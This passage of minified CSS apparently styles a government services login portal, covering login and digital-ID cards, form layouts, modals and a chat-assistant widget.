(min-width:992px){.unauth .login-card-wrapper{background-color:inherit}}.unauth .digital-id-main-login-card{margin:-1em auto -1em auto;padding:3px 1em 20px 1em}@media screen and (min-width:576px){.unauth .digital-id-main-login-card{padding:16px 1em 0 1em}}.unauth .digital-id-login-card-wrapper{background-color:#eee}.unauth .digital-id-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto 2em auto;padding:0 1em 1em 1em;text-align:center}@media screen and (min-width:576px){.unauth .digital-id-login-card{padding:16px 1em 20px 1em}}.unauth .digital-id-login-card .button-main{width:100%}.unauth .digital-id-login-card .identity-hub-info-text{background-color:#fff}.unauth .digital-id-login-card .identity-hub-info-text p{text-align:left;padding:10px}.unauth .digital-id-login-card:nth-child(2){padding:1em}.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .login-card label .help-text,.unauth .digital-id-main-login-card label .help-text{display:block}.unauth .login-card a.login-link,.unauth .digital-id-main-login-card a.login-link{margin-bottom:1.5em}.unauth .login-card .in-message-link,.unauth .digital-id-main-login-card .in-message-link{display:inline}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.unauth .login-card .button-main,.unauth .digital-id-main-login-card .button-main,.unauth .login-card .button-minor,.unauth .digital-id-main-login-card .button-minor{width:100%}.unauth .login-card .crest,.unauth .digital-id-main-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .login-card .crest img,.unauth .digital-id-main-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth .wap-login-card{background-color:#fff;padding:10px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .wap-login-card label .help-text{display:block}.unauth .wap-login-card a.login-link{margin-bottom:1.5em}.unauth .wap-login-card .in-message-link{display:inline}.unauth .wap-login-card input{margin-bottom:0}.unauth .wap-login-card .button-main,.unauth .wap-login-card .button-minor{width:100%}.unauth .wap-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .wap-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth h1 .success-msg,.unauth h1 .error-msg,.unauth h1 .info-msg{font-size:1.5rem}.unauth h1 .success-msg-text,.unauth h1 .error-msg-text,.unauth h1 .info-msg-text{padding-left:10px}.unauth .centered{text-align:center;display:block}@media screen and (min-width:576px){.unauth .centered{text-align:left}}.unauth div.contained{max-width:42em;margin-top:20px}.unauth footer[role='contentinfo'] .wrapper{padding:0 1em}@media screen and (min-width:768px){.unauth footer[role='contentinfo'] .wrapper{padding:0 2em}}.section-group{padding-top:1em;padding-bottom:1em}.login-grid-container{width:100%}@media screen and (min-width:992px){.login-grid-container{margin-top:1em}}.login-grid-container .sign-in-banner{display:none}@media screen and (min-width:992px){.login-grid-container .sign-in-banner{display:block;margin-bottom:1em;font-weight:600}}.login-grid-row:before,.login-grid-row:after{display:table;line-height:0;content:""}.login-grid-row:after{clear:both}.login-grid-column{float:left;box-sizing:border-box;min-height:1px;position:relative;width:100%}@media screen and (min-width:992px){.login-grid-column{width:50%}}header[role='banner'].unauth .unauth-grid{width:100%;height:48px;margin-top:1em}header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:1em;margin-right:1em}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:2em;margin-right:2em}}@media screen and (min-width:992px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:0;margin-right:0}}header[role='banner'].unauth .unauth-grid .unauth-grid-row:before,header[role='banner'].unauth .unauth-grid .unauth-grid-row:after{display:table;line-height:0;content:""}header[role='banner'].unauth .unauth-grid a{border-bottom:0}header[role='banner'].unauth .unauth-grid .coat-arms{margin-top:4px}header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:right;position:inherit;top:31px;margin-top:8px;width:90px}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:left;margin-top:8px;width:112px}}@media screen and (min-width:768px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{width:135px;margin-top:4px}}img#unauth-govt-crest{float:left;height:40px;margin-right:1em;color:#fff}@media screen and (min-width:576px){img#unauth-govt-crest{height:48px;margin-right:2em}}@media screen and (min-width:992px){img#unauth-govt-crest{margin-left:0;height:48px}}img#unauth-mygov-logo{float:right}@media screen and (min-width:576px){img#unauth-mygov-logo{float:left;color:#fff}}.header-logo-img{color:#fff}.header-logo-img:hover{text-decoration:underline!important}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:.5em}.divider{margin:1.5em 0;border-bottom:3px #999 dashed}.image-float-right{float:right}.mygovbeta-tip{overflow:auto}.tip-heading{margin-top:0!important;float:left;font-weight:500}.tip-text{float:left;width:60%}@media screen and (max-width:991px){.tip-heading{float:none;margin-top:0!important;text-align:center}.tip-text{float:none;width:100%;text-align:center!important}.image-float-right{display:block;margin:1.5em auto;float:none}.mygovbeta-tip{text-align:center}}.emergency-information{display:block;text-align:center;background-color:#fcb80e;color:#333;margin-bottom:0;padding:0;height:0}.emergency-information p,.emergency-information .emergency-text{display:inline}.emergency-information img{width:1em}.beta-information{height:auto;display:block;text-align:center;background-color:#66d3ee;color:#000}.beta-information p{padding-left:5px;padding-right:5px}.beta-information a{display:inline;color:#000;text-decoration:underline;border-bottom:0}.beta-information a:hover{background-color:#254a7e;color:#fff;text-decoration:underline}.mygovbeta-tip{overflow:auto}@media only screen and (max-width:992px){.mygovbeta-tip{text-align:center}}.tip-heading{float:left;font-weight:500}@media only screen and (max-width:992px){.tip-heading{float:none;margin-top:0!important}}.tip-text{float:left;width:60%}@media only screen and (max-width:992px){.tip-text{float:none;width:100%}}p.login-instruction-text{margin-left:10px}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-integration{padding:0}.wrapper-integration .welcome{max-width:400px;padding-left:1em;margin-left:auto;margin-right:auto}.wrapper-integration .welcome p{margin-top:0;margin-bottom:1.5em}@media screen and (min-width:576px){.wrapper-integration .welcome{max-width:600px}}@media screen and (min-width:992px){.wrapper-integration .welcome{padding-left:0}}.wrapper-integration .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:.5em 1em 1em 1em}@media screen and (min-width:576px){.wrapper-integration .main-block{max-width:600px;padding:.5em 2em 2em 2em}}.wrapper-integration-mapwap{padding:0}.wrapper-integration-mapwap h1:first-of-type{padding-top:1.5rem;margin-top:0}.wrapper-integration-mapwap .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:0 1em 3em 1em}@media screen and (min-width:576px){.wrapper-integration-mapwap .main-block{padding:0 2em 3em 2em;max-width:600px}}#integration-span{background-color:#eee}.account-info-group span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.account-info-group #account-info-label{margin-top:1.2em;margin-bottom:.4em}.account-info-group #account-info-detail{font-size:1em;overflow-wrap:break-word;display:block}@media screen and (min-width:320px){.account-info-group #account-info-detail{font-size:1.25em}}.account-info-group #account-info-detail-changeable{background:#ccc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:.7em .5em}.account-info-group #account-info-detail-changeable div:first-of-type{overflow-wrap:break-word;width:48%}.unauth h1.login-vp{display:none}@media screen and (min-width:992px){.unauth h1.login-vp{display:block;font-size:2.25em;font-weight:400}}.unauth h2.login-vp,.unauth .login-vp.display{font-weight:500}.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:center}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:100%;height:auto;max-height:215px}@media screen and (min-width:576px){.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:30%}}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{position:relative}.unauth .product-description-vp .inner .tips span,.unauth .product-description-vp .product-description .digital-id-inner .tips span,.unauth .product-description .product-description-vp .digital-id-inner .tips span{display:inline-block;margin-top:1em}@media screen and (min-width:992px){.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:left}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{float:right}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{float:left}}.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{margin-top:0;text-align:left}}.unauth .product-description-vp .divider{margin:1.5em 0;border-bottom:3px #999 dashed}.unauth .product-description-vp ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:inside;padding-left:0}@media screen and (min-width:992px){.unauth .product-description-vp ul{overflow:auto}.unauth .product-description-vp ul li{float:left;padding-right:1em}}@-webkit-keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}@keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}.animated-dots span{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-direction:normal;animation-direction:normal;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear;border-radius:50%;background-color:#ccc;display:inline-block;margin:0 .3em;height:16px;width:16px}.animated-dots span:nth-child(1){-webkit-animation-delay:.9s;animation-delay:.9s}.animated-dots span:nth-child(2){-webkit-animation-delay:1.05s;animation-delay:1.05s}.animated-dots span:nth-child(3){-webkit-animation-delay:1.2s;animation-delay:1.2s}.animated-dots span:nth-child(4){-webkit-animation-delay:1.35s;animation-delay:1.35s}.animated-dots span:nth-child(5){-webkit-animation-delay:1.5s;animation-delay:1.5s}.offset-top{margin-top:30%;text-align:center}#poro-form label,.poro-form label{display:inline-block}#poro-form #profile-details .profile-label span:first-of-type,.poro-form #profile-details .profile-label span:first-of-type{font-weight:bold}#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{float:left;width:48%;clear:left}}#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{float:right;width:48%}}#poro-form .selectRadio,.poro-form .selectRadio{clear:left}#poro-form .sidebyside,.poro-form .sidebyside{display:table;width:100%}#poro-form .sidebyside>div,.poro-form .sidebyside>div{display:table-column;width:100%;display:block;clear:none}@media screen and (min-width:768px){#poro-form .sidebyside>div,.poro-form .sidebyside>div{width:48%;float:left;display:inline-block}}@media screen and (min-width:768px){#poro-form .sidebyside>div:nth-of-type(even),.poro-form .sidebyside>div:nth-of-type(even){float:right;display:inline-block}}#poro-form .poro-input,.poro-form .poro-input{width:100%}@media screen and (min-width:768px){#poro-form .poro-input,.poro-form .poro-input{width:48%}}#poro-form .poro-date-fields,.poro-form .poro-date-fields{display:block;clear:both}#poro-form .poro-input-group,.poro-form .poro-input-group{width:100%}@media screen and (min-width:768px){#poro-form .poro-input-group,.poro-form .poro-input-group{width:48%}}#poro-form .poro-field-group,#poro-form .poro-input-group,.poro-form .poro-field-group,.poro-form .poro-input-group{margin-top:15px;display:block;clear:both}#poro-form .poro-field-group label,#poro-form .poro-input-group label,.poro-form .poro-field-group label,.poro-form .poro-input-group label{margin-top:0;display:inline;position:relative;padding-top:0;width:100%}@media screen and (min-width:768px){#poro-form .poro-field-group.select-group,#poro-form .poro-input-group.select-group,.poro-form .poro-field-group.select-group,.poro-form .poro-input-group.select-group{clear:none}}#poro-form .buttonControl-group,.poro-form .buttonControl-group{margin-left:5px;position:relative;display:inline-block}#poro-form .buttonControl::after,.poro-form .buttonControl::after{content:'';background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(180deg);transform:rotate(180deg);background-repeat:no-repeat;border-color:black;color:#0f6493;position:absolute;right:-20px;height:8px;width:12px}#poro-form .buttonControl span,.poro-form .buttonControl span{font-size:1rem}#poro-form .buttonControl[aria-expanded="true"]::after,.poro-form .buttonControl[aria-expanded="true"]::after{background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}#poro-form .topic,.poro-form .topic{display:none;margin-bottom:1em;padding:10px;background-color:#bfe7f6;max-width:42em;font-size:87.5%;position:relative;margin-top:10px}#poro-form .topic:before,.poro-form .topic:before{bottom:100%;left:50px;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}#poro-form .topic:before,.poro-form .topic:before{border-bottom-color:#bfe7f6;border-width:10px;margin-left:-36px}#poro-form .topic p,.poro-form .topic p{margin:0}#poro-form .input-hint,#poro-form .help-box,.poro-form .input-hint,.poro-form .help-box{font-size:87.5%}#poro-form .input-hint p,#poro-form .help-box p,.poro-form .input-hint p,.poro-form .help-box p{margin:0;padding:0}#poro-form .poro-subgroup .sub-group-delimiter,.poro-form .poro-subgroup .sub-group-delimiter{float:left;width:1em;top:15px;height:100%;position:relative;display:inline-block}#poro-form .poro-subgroup input,.poro-form .poro-subgroup input{width:4em;float:left}#poro-form .poro-subgroup input.medium-input,.poro-form .poro-subgroup input.medium-input{width:5em}#poro-form .poro-subgroup input.large-input,.poro-form .poro-subgroup input.large-input{width:10em}#poro-form .poro-subgroup input.xl-input,.poro-form .poro-subgroup input.xl-input{width:100%}#poro-form .poro-subgroup input:first-of-type,.poro-form .poro-subgroup input:first-of-type{margin-right:5px}#poro-form input.irn-code,.poro-form input.irn-code{width:4em}#poro-form .modal-overlay,.poro-form .modal-overlay{background:rgba(0,0,0,0.8);height:100%;left:0;display:block;overflow:auto;padding:0 1.5em 1.5em;position:fixed;top:0;-webkit-transition:opacity .2s;transition:opacity .2s;width:100%;z-index:-1}#poro-form .modal-overlay h2,#poro-form .modal-overlay .display,.poro-form .modal-overlay h2,.poro-form .modal-overlay .display{border-bottom:0}#poro-form .modal-overlay[aria-hidden="true"],.poro-form .modal-overlay[aria-hidden="true"]{opacity:0;visibility:hidden}#poro-form .modal-overlay[aria-hidden="false"],.poro-form .modal-overlay[aria-hidden="false"]{opacity:1;visibility:visible;z-index:2}#poro-form .modal-content,.poro-form .modal-content{background:#fff;margin:auto;max-height:90%;max-width:400px;overflow:auto;overflow-x:hidden;padding:1em;position:relative;top:10%;-webkit-transform:scale(0.8);transform:scale(0.8);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;width:100%}#poro-form .modal-overlay[aria-hidden="false"] .modal-content,.poro-form .modal-overlay[aria-hidden="false"] .modal-content{-webkit-transform:scale(1);transform:scale(1)}#poro-form #modal-title,.poro-form #modal-title{margin-top:0;padding-right:1.25em}#poro-form .btn-close,.poro-form .btn-close{background:0;border:0;cursor:pointer;font-family:arial;font-size:2em;font-weight:800;line-height:1;padding:0;position:absolute;right:.25em;top:.25em;z-index:2}#poro-form .help-container,.poro-form .help-container{background-color:#eee;padding:2em;font-size:.8rem}#poro-form .help-container p,.poro-form .help-container p{margin:0}#poro-form .help-container a,.poro-form .help-container a{color:#0f6493}#poro-form .help-container a:hover,.poro-form .help-container a:hover{color:#fff}#poro-form input[name*="clkCRN"][value="000000000Z"],.poro-form input[name*="clkCRN"][value="000000000Z"]{color:transparent}/*! Increment heading numers based on code from: http://philarcher.org/diary/2013/headingnumbers/ */ol.table-of-contents{padding-left:0;list-style:none}ol.table-of-contents ol{list-style:none}ol.table-of-contents .toc-n{display:inline-block;padding-right:.5em}.numbered-headings{counter-reset:h2}.numbered-headings h2,.numbered-headings .display{counter-reset:h3}.numbered-headings h3,.numbered-headings #poro-form #modal-title,#poro-form .numbered-headings #modal-title,.numbered-headings .poro-form #modal-title,.poro-form .numbered-headings #modal-title{counter-reset:h4}.numbered-headings h4{counter-reset:h5}.numbered-headings h5{counter-reset:h6}.numbered-headings h2::before,.numbered-headings .display::before{counter-increment:h2;content:counter(h2) ". "}.numbered-headings h3::before,.numbered-headings #poro-form #modal-title::before,#poro-form .numbered-headings #modal-title::before,.numbered-headings .poro-form #modal-title::before,.poro-form .numbered-headings #modal-title::before{counter-increment:h3;content:counter(h2) "." counter(h3) " "}.numbered-headings h4::before{counter-increment:h4;content:counter(h2) "." counter(h3) "." counter(h4) " "}.numbered-headings h5::before{counter-increment:h5;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) " "}.numbered-headings h6::before{counter-increment:h6;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6) " "}.numbered-headings h2.nocount:before,.numbered-headings .nocount.display:before,.numbered-headings h3.nocount:before,.numbered-headings #poro-form .nocount#modal-title:before,#poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings .poro-form .nocount#modal-title:before,.poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings h4.nocount:before,.numbered-headings h5.nocount:before,.numbered-headings h6.nocount:before{content:"";counter-increment:none}.help-info-group{position:relative;display:inline-block}.help-info::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-inline::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-inline[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}img#mygov-access-conf{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#mygov-access-conf{margin-top:1em}}img#warning{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#warning{margin-top:1em}}@media screen and (-webkit-min-device-pixel-ratio:0){img#app-store-logo{padding-bottom:10px}}@-moz-document url-prefix(){img#app-store-logo{padding-bottom:10px}}img#play-store-logo{height:59.98px}a.app-logo{border-bottom:0}a.app-logo:hover{background-color:transparent}#idp-link-info{padding-left:unset;list-style-position:inside}#idp-link-info h3,#idp-link-info #poro-form #modal-title,#poro-form #idp-link-info #modal-title,#idp-link-info .poro-form #modal-title,.poro-form #idp-link-info #modal-title{display:inline;margin-bottom:.8em}#idp-link-info img.link-step{width:30%;display:block;margin:1.5em auto}#idp-link-info .next-step{display:none}#idp-link-info .link-step-info{text-align:center}@media screen and (min-width:768px){#idp-link-info{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}#idp-link-info .next-step{display:inline;-webkit-flex-basis:5%;-ms-flex-preferred-size:5%;flex-basis:5%;margin:3em 0}#idp-link-info .link-step{-webkit-flex-basis:33%;-ms-flex-preferred-size:33%;flex-basis:33%;min-width:150px}#idp-link-info img.link-step{width:50%;margin:3em auto}#idp-link-info img.next-step{width:60%}}img#externallinkicon{height:1em}.va_clearfix:before,.va_clearfix:after{content:"";display:table}.va_clearfix:after{clear:both}.va_chatAnchor{position:relative;z-index:999999;bottom:0;right:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;min-width:320px;line-height:1;-webkit-transition:1s;transition:1s;color:#fff;display:none}.va_iframe{display:block;height:0;width:350px;min-width:320px;position:fixed;right:50px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;bottom:0;border:0;overflow:scroll;box-shadow:0 0 3px rgba(0,0,0,0.3)}.va_header{max-height:45px;background:#777;background:-webkit-linear-gradient(#4d4d4f,#777);background:linear-gradient(#4d4d4f,#777);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');color:#fff;cursor:pointer;position:relative}.va_header:focus{outline:3px solid #fff}.va_toggleIcon{background:url(../icons/va_arrowup.svg);background-size:20px 10px;background-repeat:no-repeat;padding-top:10px;position:absolute!important;right:0;display:block;background-position:center;top:0;height:0!important;width:0!important;margin:0;margin-right:15px;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_toggleIcon:focus{outline:3px solid #fff}.va_expanded{background:url(../icons/va_arrowdown.svg);background-size:20px 10px;background-repeat:no-repeat;background-position:center}.va_resizeIcon{height:0;width:0;background:url(../icons/va_resizelarge.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center;position:absolute!important;right:45px;bottom:2px;top:0;display:block;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_resizeIcon:focus{outline:3px solid #fff}.va_resizeIcon.va_large{background:url(../icons/va_resizesmall.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center}h1.va_chatTitle{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h2.va_chatTitle,.va_chatTitle.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h1.va_chatTitle_mob{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1rem;line-height:inherit;margin:0}h1.va_chatTitle_mob:focus{outline:3px solid #fff}h2.va_chatTitle_mob,.va_chatTitle_mob.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}#va_chatHeader{position:fixed;bottom:0;right:50px;width:350px;cursor:pointer}#va_chatHeader:focus{outline:3px solid #fff}.va_chatBorder{height:10px;width:inherit;background:#d7ea6a;position:relative;z-index:2;cursor:pointer}.va_skipToLink{display:none}.va_skipToLink.active{display:block!important;z-index:10;position:absolute;color:#000;background:#fff;padding:5px;font-weight:bold;top:-1000px;left:-1000px;height:0;width:0;font-size:.875rem!important;text-decoration:underline}a.va_skipToLink:focus,a.va_skipToLink:hover{top:0;left:0;outline:3px solid #666;height:40px;width:140px;margin-left:20px;margin-top:0;background:#fff}.va_chatborder{background:#d7ea6a}.va_header{height:50px;background:#026540}#va_chatHeader .va_header:hover{background:#014c30}@media screen and (max-width:599px),screen and (max-height:490px){.va_chatAnchor{right:0;width:100%;height:100%}.va_header{box-shadow:none}.va_chatBorder{display:none}#va_mobileBar{display:block;position:fixed;right:50px;bottom:0;width:150px;height:45px;background:#026540;background:-webkit-linear-gradient(#4d4d4f,#777);background:-webkit-linear-gradient(#026540,#026540);background:linear-gradient(#026540,#026540);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');border-top:#1c78b9 5px solid;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:normal;font-size:1.2rem;font-weight:bold;padding-left:10px;line-height:2.5;-webkit-text-size-adjust:100%}.va_mobileLarge{width:100%!important;top:0;left:0;border-radius:0!important;padding-left:20px!important}#va_chatHeader{display:none}#va_mobileToggle.va_mobileToggle{height:80px!important;width:100%;background:url(../icons/va_arrowup.svg);background-position:right 5px bottom 45px;background-size:20px 10px;background-repeat:no-repeat;position:absolute!important;right:0;bottom:-25px;display:block}#va_mobileToggle.va_mobileToggle.va_open{height:55px!important;background:url(../icons/va_arrowdown.svg);background-repeat:no-repeat;background-position:right 25px bottom 20px;background-size:20px 10px;right:17px;left:initial;bottom:-5px!important}.va_chatTitle{position:absolute;bottom:-2px;height:0;left:-20px;font-size:1rem}body{padding-bottom:40px}}.identity-profile-table{border-top:1px solid black}.identity-profile-table th:first-of-type,.identity-profile-table td:first-of-type{border-right:1px solid #999}.identity-profile-table th{display:table-cell;border-style:none;width:initial}.identity-profile-table th:focus{outline:-webkit-focus-ring-color auto 5px}.identity-profile-table th>img{vertical-align:middle}.identity-profile-table td{vertical-align:top}.identity-profile-givenname,.identity-profile-familyname,.identity-profile-dob{display:block}.login-grid-column.alternative:first-of-type{border:1px solid #999;border-radius:10px;background-color:white}@media screen and (min-width:768px){.login-grid-column.secondary{margin-top:0}}.digital-id-inner{margin-top:2em;padding:0 1em!important}@media screen and (min-width:992px){.digital-id-inner{margin-top:0;padding:0 2em}}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.digital-id-barrier{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.password-helper-text{font-size:.9rem}.login-grid-row.alternative{margin:10px}#secondary-identity-modal.hidden{display:none}#secondary-identity-modal.shown{position:-webkit-sticky;position:sticky;z-index:1060;background-color:white;top:10%}@media screen and (min-width:768px){#secondary-identity-modal.shown{position:fixed}}.identity-link-process ol{margin-left:1em}.digital-id-main-login-card.alternative{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.transparent-background{background-color:transparent!important}.identity-modal-button-container .cancel-action{min-width:160px}.confirm-action{background-color:#222;color:white;min-width:160px}.confirm-action:disabled{background-color:#ccc}.sign-in-banner.alternative{font-size:22px;font-weight:bold;display:block;margin-top:10px;margin-left:10px}h2.digital-id-header,.digital-id-header.display{margin-top:0;font-weight:700;font-size:18px}#digital-id-selection fieldset{margin-top:0}#digital-id-selection legend{border-bottom:0;margin-bottom:0;display:none}#digital-id-selection legend h3,#digital-id-selection legend #poro-form #modal-title,#poro-form #digital-id-selection legend #modal-title,#digital-id-selection legend .poro-form #modal-title,.poro-form #digital-id-selection legend #modal-title{margin-top:0}.hr-divider{background:-webkit-linear-gradient(top,#eee 50%,white 50%);background:linear-gradient(to bottom,#eee 50%,white 50%);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:5em}.hr-divider .rounded-border{border:1px solid 